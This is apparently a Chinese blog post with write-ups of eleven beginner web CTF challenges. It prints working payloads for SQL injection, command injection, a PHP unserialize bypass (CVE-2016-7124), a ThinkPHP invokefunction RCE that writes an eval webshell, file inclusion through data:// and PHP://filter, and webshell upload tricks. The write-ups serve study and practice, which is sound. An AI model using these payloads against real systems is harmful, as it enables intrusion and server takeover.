难度2

攻防世界

1.NewsCenter

sql注入

查库名,就一个news

1
hello' union select 1,schema_name,3 from information_schema.schemata #

查表名

1
hello' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #

得到news,secret_table

查secret_table

1
hello' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table"#

得到id,fl4g,查询fl4g:

1
hello' union select 1,2,fl4g from secret_table#

newscenter


2.upload1

直接上传shell.php

upload11

果然没这么简单,上传现成的图片马4.jpg(难度1中用过)

upload12

传了图片马之后,要想办法让它被解析,分布式配置文件依然被拦,想到难度1中用过.user.ini,再试一下

内容为:

1
2
3
GIF89a

auto_prepend_file=4.jpg

当我想用burp改包的时候,我发现已经被拦了,再一细看,上传按钮不能点,我立刻想到难度1不能按的按钮,果不其然,直接删掉disabled=””

ps:写到这不得不说一句,难度顺序排的是真好,前面刚做过这里就用上了。

upload13

依然是把内容类型改为image/jpg,上传成功。

upload14

但是名字被改了,.user.ini前面多了一串数字,显然失败了。早该想到的

高端的食材往往采用最朴素的烹饪方式,放大招:

直接上传4.jpg,burp改包,改成4.php,根据路径,蚁剑连接,getshell

upload15

最后成功找到flag

upload16


3.xff_referer

题目描述: X老师告诉小宁其实xff和referer是可以伪造的。

进入环境,页面有一句话:ip地址必须为123.123.123.123

xff:

很多HTTP代理会在HTTP协议头中添加X-Forwarded-For头,用来追踪请求的来源。

X-Forwarded-For的格式如下:

X-Forwarded-For: client1, proxy1, proxy2

X-Forwarded-For包含多个IP地址,每个值通过逗号+空格分开,最左边(client1)是最原始客户端的IP地址,如果有多层代理,每一层代理会将连接它的客户端IP追加在X-Forwarded-For右边。

一般的客户端发送HTTP请求没有X-Forwarded-For头的,当请求到达第一个代理服务器时,代理服务器会加上X-Forwarded-For请求头,并将值设为客户端的IP地址(也就是最左边第一个值),后面如果还有多个代理,会依次将IP追加到X-Forwarded-For头最右边,最终请求到达Web应用服务器,应用通过获取X-Forwarded-For头取左边第一个IP即为客户端真实IP。

但是如果客户端在发起请求时,请求头上带上一个伪造的X-Forwarded-For,由于后续每层代理只会追加而不会覆盖,那么最终到达应用服务器时,获取的左边第一个IP地址将会是客户端伪造的IP。伪造X-Forwarded-For头只需加上X-Forwarded-For头就可以

referer:

HTTP 请求的头信息里面,Referer 是一个常见字段,提供访问来源的信息。这个字段是可选的。客户端发送请求的时候,自主决定是否加上该字段。

以上摘自CSDN博主「Arik0」的文章

了解到以上知识后,我们就知道该怎么做了,burp抓包,提交:

1
X-Forwarded-For:123.123.123.123

页面又提示必须来自https://www.google.com,该referer登场了:

1
Referer:https://www.google.com

xff_referer

注意,这里的xff和referer要在请求头中


4.command_execution

题目描述: 小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

先学习一下,Windows或Linux下命令执行漏洞要用到的

分隔符 用法 解释
; A;B 先执行A,在执行B
& A&B 简单拼接,互不影响
| A|B 显示B的执行结果
&& A&&B A执行成功才会执行B
|| A||B A执行失败,然后才会执行B

命令执行,想到命令行,dir行不通,就ls,可以得知是linux操作系统,这一点根据后门文件夹也能看出来

1
127.0.0.1&ls /

command_execution1

查找文件名中含有flag的文件

1
127.0.0.1&find / -name "flag*"

command_execution2

找到flag.txt,打开,拿到flag。(Windows的查看文件内容命令是type)

1
127.0.0.1&cat /home/flag.txt

5.web2

又是学习php的一题,上菜:

web21

先时将flag字符串逆序,

然后每一个ascii码数值+1,

然后base64加密,

然后逆序,

然后再rot13加密

得到加密的密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws

写个php就行了,结果如图:

web22

ps:rot13加密和解密是同一个函数

附php在线编码


6.Web_php_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) { //构造函数
$this->file = $file;
}
function __destruct() { //析构函数
echo @highlight_file($this->file, true);
}
function __wakeup() { //反序列化时将调用此函数
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']); //base64解码
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

/[oc]:\d+:/i研究:

[OC]:匹配O或C

\d: 匹配一个数字字符。等价于 [0-9]。
+: 匹配前面的子表达式一次或多次。例如,’zo+’ 能匹配 “zo” 以及 “zoo”,但不能匹配 “z”。+ 等价于 {1,}。
/i: 表示匹配的时候不区分大小写。
preg_match(‘/^O:\d+/‘)匹配序列化字符串是否是对象字符串开头。

总的思路是,先base64编码一次,首先避开正则匹配,序列化后O:4刚好会被匹配,这里使用O:+4进行绕过。然后避开**_wakeup()函数,这里利用wakeup()的CVE-2016-7124**,当序列化字符串中的属性个数大于类中真实属性个数时,_wakeup()会跳过执行,以便读取fl4g.php。

这里还有一个点,类的私有成员序列化时会在类名和字段名上添加保护,格式为: \x00 + [私有成员所在类名] + \x00 [变量名],前后均有空格

因此对于private属性在类名和字段名前均需要添加\0

当使用浏览器提交时需要在类名和字段名前添加%00

本题是get传参,故加%00

php在线编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
class Demo {
private $file = 'index.php'; //设置了类的私有变量
public function __construct($file) { //实例化对象时将会被调用
$this->file = $file; //将对象的file属性的值设置为file变量
}
function __destruct() { //当对象被销毁时将会被调用
echo @highlight_file($this->file, true); //输出读取到的文件
}
function __wakeup() { //当进行反序列化操作时候 函数将会被调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //将对象的file参数设置为index.php
$this->file = 'index.php';
}
}
}
$a= new Demo('fl4g.php');//实例化对象 __construct函数将会被自动调用 fl4g.php 将会被赋值给$file变量

$c=serialize($a); //对a进行序列化操作
echo $c;
echo "\n";
$c=str_replace('O:4', 'O:+4',$c); //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c); //利用__wakeup()的CVE-2016-7124 在序列化的字符串当中当真实的属性个数大于真实的属性个数时 该函数不会执行
$c=str_replace(' ','%00',$c); //序列化私有类时 类名和字段名前会有空格 使用url传参时需要将空格替换成%00
echo $c;
echo "\n";
$j=(base64_encode($c)); //对其进行base64编码
echo $j;
?>

得到:

1
2
3
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

传参即可


7.php_rce

RCE漏洞

php_rce1

作为一名合格的脚本小子,正好试试新下的goby,扫描指定ip和port,结果如下:

php_rce2

goby给出了漏洞的url,直接访问,或者点验证,这里选验证:

php_rce3

可以看到命令成功执行

为了方便观察,下面用网页打开,打开url,payload:

1
http://61.147.171.105:54326/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/

php_rce4

可以看到有flag,打开,payload:

1
http://61.147.171.105:54326/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

得到flag

ps:既然能rce,何不试试getshell呢

payload:

1
http://61.147.171.105:54326/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['cmd'])?>'>11.php

蚁剑连一下就好了,确实能getshell,在根目录下有flag

可以使用find / -name flag查找路径~


8.Web_php_include

代码审计:

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

乍一看很短,应该是挺简单的,但是转念一想,应该没这么简单,毕竟字越少事越大

搜了一下wp,给出的payload为

1
?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>

给出了/var/www的路径

再试试

1
page=data://text/plain,<?php system(ls);?>

Web_php_include1

既然能执行系统命令,那直接:

1
?page=data://text/plain,<?php system("cat fl4gisisish3r3.php");?>

Web_php_include2

?怎么没有回显,找了很久,看wp发现,它在注释里,小丑啊啊啊啊

data://伪协议,是数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过包含你输入的payload来实现目的。

另一种方法:

由于strstr()这个函数对大小写敏感,所以我们可以换成PHP://的形式,pauload:

1
?page=PHP://filter/convert.base64-encode/resource=fl4gisisish3r3.php

也行

还有另一种方法:

御剑扫后台,发现phpmyadmin,root,密码为空,登录

Web_php_include3

执行sql语句,看一下能不能写入一句话

show variables like “secure_file_priv” ,值为空,可以写

select ““ into outfile ‘./my.php’

无法写入,改成

select ““ into outfile ‘/tmp/my.php’

写入成功后,蚁剑连一下

1
http://61.147.171.105:60920/?page=/tmp/my.php

也能成功读取


9.supersqli

进去后有一句话:取材于某次真实环境渗透,只说一句话:开发和安全缺一不可和一个查询框,根据题目,应该是sql注入,单引号测试,报了sql语法错误,确认是sql注入

1
1' union select database()#

页面回显提示:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

被匹配到了

直接用sqlmap了:

1
sqlmap -u url --dbs

给出了supersqli这一个库,但是到了爆表名的时候就进行不下去了,看了一下wp,发现F12有

supersqli1

sqlmap是没有灵魂的

实在让人汗颜

手注:

1
1' orde by 3#

出错,说明只有两列

并且由上文得知,select关键字被替换了,不能用,并且/i表示不区分大小写,这意味着大小写绕过是行不通的,想到堆叠注入:

1
-1';show databases#

supersqli2

找到了“ctftraining”这个库,就是你了!

根据题目提示,应该用supersqli这个库:

1
-1';use supersqli;show tables;#

supersqli3

两个表,看看数字的表:

注:当纯数字作为表名时,需要加反引号

1
-1';use supersqli;show columns from `1919810931114514`#

supersqli4

有flag字段,但是select被ban了,网上看到了handler方法:

1
-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

handler简介

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

原文链接:https://blog.csdn.net/jesseyoung/article/details/40785137

详见


10.warmup

进去一看,是一个滑稽[滑稽]

warmup1

应该是要我们下载source.php的源码,试了一下source.php.bak,404了,应该行不通

没啥想法了,御剑扫了一下,有index.php,访问看看,还是这个滑稽….

我悟了,应该直接访问source.php.果然,得到了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //php中=>一般用作数组键名与元素的连接符。简单来说就是使用=>符号来分隔键和值,左侧表示键,右侧表示值。这里设置了白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//mb_strpos()查找字符串在别一字符串中首次出现的位置 mb_substr()。
);//mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用此函数
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);//url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

代码审计,根本不会

访问hint.php 页面提示:flag not here, and flag in ffffllllaaaagggg

找到flag所在

包含文件的三个条件为非空、是字符串和checkFile返回true

payload:

1
?file=source.php?../../../../../ffffllllaaaagggg

返回五次,回到根目录,访问到flag


11.catcat-new

进入环境,页面里有几种猫,随便点一个进去看看

catcat-new1

看着url,感觉可能有漏洞,扔一个单引号进去,得到回显:

1
b"File `./details/ForestCat.txt'` not exist or can not be read"

xray扫一下吧

catcat-new2

能读敏感文件,尝试读取根下的flag,没成功,只能看wp了:

Linux 内核提供了 /proc 文件系统,提供了在运行时访问内核内部数据结构、改变内核设置的机制,用户和应用程序可以通过 /proc 得到系统的信息,并改变内核的某些参数。/proc 文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。/proc 目录下还包括 /proc/sys 目录,这个目录是可写的,可以通过它来访问或修改内核的参数。另外还有一些以数字命名的目录,它们是进程目录。系统中运行的每个进程都有一个对应的目录在 /proc 下,以进程的 PID号为目录名,它们是读取进程信息的接口。而 /proc/self 目录则是读取进程本身的信息接口。

读取 /proc/self/maps 可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

/proc/self/mem 是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存信息。

本题解答的关键思路是需要知道 Python 的存储对象的位置在堆上这个特性,而通过 /proc/self/mem 可以用来读取堆栈信息。

题目的代码和一键解决的文件,我已放在 Github 上。

以上内容来自

后面就不会了TAT


难度2
http://example.com/2023/04/05/web02/
作者
想有双手
发布于
2023年4月5日
许可协议